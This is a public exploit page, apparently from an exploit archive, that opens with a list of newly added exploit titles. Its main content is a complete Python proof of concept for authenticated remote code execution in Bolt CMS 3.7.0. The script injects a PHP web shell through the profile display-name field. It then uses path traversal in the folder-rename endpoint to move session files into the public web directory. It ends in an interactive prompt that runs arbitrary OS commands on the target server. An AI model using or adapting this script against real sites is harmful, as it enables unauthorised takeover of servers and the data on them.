85bef6929f
17 changes to exploits/shellcodes Product Key Explorer 4.2.2.0 - 'Key' Denial of Service (PoC) SpotAuditor 5.3.4 - 'Name' Denial of Service (PoC) Nsauditor 3.2.0.0 - 'Name' Denial of Service (PoC) Frigate 3.36 - Denial of Service (PoC) UltraVNC Launcher 1.2.4.0 - 'RepeaterHost' Denial of Service (PoC) UltraVNC Launcher 1.2.4.0 - 'Password' Denial of Service (PoC) UltraVNC Viewer 1.2.4.0 - 'VNCServer' Denial of Service (PoC) ZOC Terminal v7.25.5 - 'Private key file' Denial of Service (PoC) Memu Play 7.1.3 - Insecure Folder Permissions Triologic Media Player 8 - '.m3l' Buffer Overflow (Unicode) (SEH) Microsoft NET USE win10 - Insufficient Authentication Logic LimeSurvey 4.1.11 - 'Survey Groups' Persistent Cross-Site Scripting Vesta Control Panel 0.9.8-26 - Authenticated Remote Code Execution (Metasploit) WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting Bolt CMS 3.7.0 - Authenticated Remote Code Execution LimeSurvey 4.1.11 - 'File Manager' Path Traversal pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting
167 lines
No EOL
5.5 KiB
Python
Executable file
167 lines
No EOL
5.5 KiB
Python
Executable file
# Exploit Title: Bolt CMS 3.7.0 - Authenticated Remote Code Execution
|
|
# Date: 2020-04-05
|
|
# Exploit Author: r3m0t3nu11
|
|
# Vendor Homepage: https://bolt.cm/
|
|
# Software Link: https://bolt.cm/
|
|
# Version: up to date and 6.x
|
|
# Tested on: Linux
|
|
# CVE : not-yet-0day
|
|
|
|
# last version
|
|
|
|
# p0c
|
|
|
|
|
|
#!/usr/bin/python
|
|
|
|
import requests
|
|
import sys
|
|
import warnings
|
|
import re
|
|
import os
|
|
from bs4 import BeautifulSoup
|
|
from colorama import init
|
|
from termcolor import colored
|
|
|
|
init()
|
|
|
|
print(colored('''
|
|
▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄▄
|
|
▄▄▄▄▄▄▄▄▄▄▄
|
|
▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌
|
|
▐░░▌▐░░░░░░░░░░░▌
|
|
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌░▌
|
|
▐░▐░▌▐░█▀▀▀▀▀▀▀▀▀
|
|
▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌
|
|
▐░▌▐░▌▐░▌
|
|
▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▐░▌
|
|
▐░▌▐░█▄▄▄▄▄▄▄▄▄
|
|
▐░░░░░░░░░░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌
|
|
▐░▌▐░░░░░░░░░░░▌
|
|
▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▀ ▐░▌
|
|
▀▀▀▀▀▀▀▀▀█░▌
|
|
▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌
|
|
▐░
|
|
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌
|
|
▄▄▄▄▄▄▄▄▄█░▌
|
|
▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌▐░▌
|
|
▐░▌▐░░░░░░░░░░░▌
|
|
▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀
|
|
▀▀▀▀▀▀▀▀▀▀▀
|
|
|
|
Pre Auth rce with low credintanl
|
|
By @r3m0t3nu11 speical thanks to @dracula @Mr_Hex''',"blue"))
|
|
|
|
|
|
|
|
if len(sys.argv) != 4:
|
|
print((len(sys.argv)))
|
|
print((colored("[~] Usage : ./bolt.py url username password","red")))
|
|
exit()
|
|
url = sys.argv[1]
|
|
username = sys.argv[2]
|
|
password = sys.argv[3]
|
|
|
|
|
|
|
|
request = requests.session()
|
|
print((colored("[+] Retrieving CSRF token to submit the login
|
|
form","green")))
|
|
page = request.get(url+"/bolt/login")
|
|
html_content = page.text
|
|
soup = BeautifulSoup(html_content, 'html.parser')
|
|
token = soup.findAll('input')[2].get("value")
|
|
|
|
login_info = {
|
|
"user_login[username]": username,
|
|
"user_login[password]": password,
|
|
"user_login[login]": "",
|
|
"user_login[_token]": token
|
|
}
|
|
|
|
login_request = request.post(url+"/bolt/login", login_info)
|
|
print((colored("[+] Login token is : {0}","green")).format(token))
|
|
|
|
|
|
|
|
aaa = request.get(url+"/bolt/profile")
|
|
soup0 = BeautifulSoup(aaa.content, 'html.parser')
|
|
token0 = soup0.findAll('input')[6].get("value")
|
|
data_profile = {
|
|
"user_profile[password][first]":"password",
|
|
"user_profile[password][second]":"password",
|
|
"user_profile[email]":"a@a.com",
|
|
"user_profile[displayname]":"<?php system($_GET['test']);?>",
|
|
"user_profile[save]":"",
|
|
"user_profile[_token]":token0
|
|
|
|
}
|
|
profile = request.post(url+'/bolt/profile',data_profile)
|
|
|
|
|
|
|
|
|
|
cache_csrf = request.get(url+"/bolt/overview/showcases")
|
|
|
|
soup1 = BeautifulSoup(cache_csrf.text, 'html.parser')
|
|
csrf = soup1.findAll('div')[12].get("data-bolt_csrf_token")
|
|
|
|
|
|
asyncc = request.get(url+"/async/browse/cache/.sessions?multiselect=true")
|
|
soup2 = BeautifulSoup(asyncc.text, 'html.parser')
|
|
tables = soup2.find_all('span', class_ = 'entry disabled')
|
|
|
|
|
|
print((colored("[+] SESSION INJECTION ","green")))
|
|
for all_tables in tables:
|
|
|
|
f= open("session.txt","a+")
|
|
f.write(all_tables.text+"\n")
|
|
f.close()
|
|
num_lines = sum(1 for line in open('session.txt'))
|
|
|
|
renamePostData = {
|
|
"namespace": "root",
|
|
"parent": "/app/cache/.sessions",
|
|
"oldname": all_tables.text,
|
|
"newname": "../../../public/files/test{}.php".format(num_lines),
|
|
"token": csrf
|
|
}
|
|
rename = request.post(url+"/async/folder/rename", renamePostData)
|
|
|
|
|
|
|
|
|
|
try:
|
|
url1 = url+'/files/test{}.php?test=ls%20-la'.format(num_lines)
|
|
|
|
rev = requests.get(url1).text
|
|
r1 = re.findall('php',rev)
|
|
|
|
r2 = r1[0]
|
|
if r2 == "php" :
|
|
fileINJ = "test{}".format(num_lines)
|
|
|
|
print((colored("[+] FOUND : "+fileINJ,"green")))
|
|
|
|
except IndexError:
|
|
print((colored("[-] Not found.","red")))
|
|
|
|
new_name = 0
|
|
while new_name != 'quit':
|
|
inputs = input(colored("Enter OS command , for exit 'quit' :
|
|
","green","on_red"))
|
|
if inputs == "quit" :
|
|
exit()
|
|
else:
|
|
a = requests.get(url+"/files/{}.php?test={}".format(fileINJ,inputs))
|
|
aa = a.text
|
|
r11 = re.findall('...displayname";s:..:"([\w\s\W]+)',aa)
|
|
|
|
|
|
print((r11)[0])
|
|
|
|
|
|
|
|
|
|
Greetz to : all my friends |